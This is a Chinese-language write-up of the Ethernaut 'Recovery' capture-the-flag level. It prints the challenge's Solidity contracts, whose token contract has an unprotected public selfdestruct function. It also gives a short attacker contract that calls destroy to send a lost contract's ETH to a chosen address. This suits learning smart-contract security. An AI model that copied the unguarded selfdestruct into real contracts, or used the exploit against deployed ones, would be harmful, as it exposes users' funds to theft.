Recovery
题目源码
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/math/SafeMath.sol';
contract Recovery {
//generate tokens
function generateToken(string memory _name, uint256 _initialSupply) public {
new SimpleToken(_name, msg.sender, _initialSupply);
}
}
contract SimpleToken {
using SafeMath for uint256;
// public variables
string public name;
mapping (address => uint) public balances;
// constructor
constructor(string memory _name, address _creator, uint256 _initialSupply) public {
name = _name;
balances[_creator] = _initialSupply;
}
// collect ether in return for tokens
receive() external payable {
balances[msg.sender] = msg.value.mul(10);
}
// allow transfers of tokens
function transfer(address _to, uint _amount) public {
require(balances[msg.sender] >= _amount);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = _amount;
}
// clean up after ourselves
function destroy(address payable _to) public {
selfdestruct(_to);
}
}
题目要求
题目背景是,Recovery
合约通过generateToken
方法创建新的 Token 以后,会给这个 Token 合约地址转 0.001 个 ETH,但是没有保存这些创建过的 Token 合约地址。现在是希望找回或移除掉之前创建合约里的 0.001ETH
题目分析
之前创建过的这些 Token 可以通过浏览器或者历史交易记录找到之前创建过的合约地址。找回 ETH 可以通过调用 Token 合约的destroy
方法,然后将其他地址设置为接收地址。
这里不能调用transfer
方法是因为msg.sender
没办法指向到Recovery
合约
攻击步骤
- 通过浏览器或者历史记录找到之前创建过的 Token 合约地址
- 调用合约的
destory
方法
这里我通过编写了一个合约来调用的,方便调试调用。这里直接跟 Token 合约交互也可以
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
interface ISimpleToken {
function destroy(address payable _to) external;
}
contract Recovery {
// 这里_receiver不加payable属性也可以,因为自毁方法是强制转账的
function recover(ISimpleToken _token,address payable _receiver) external {
_token.destroy(_receiver);
}
}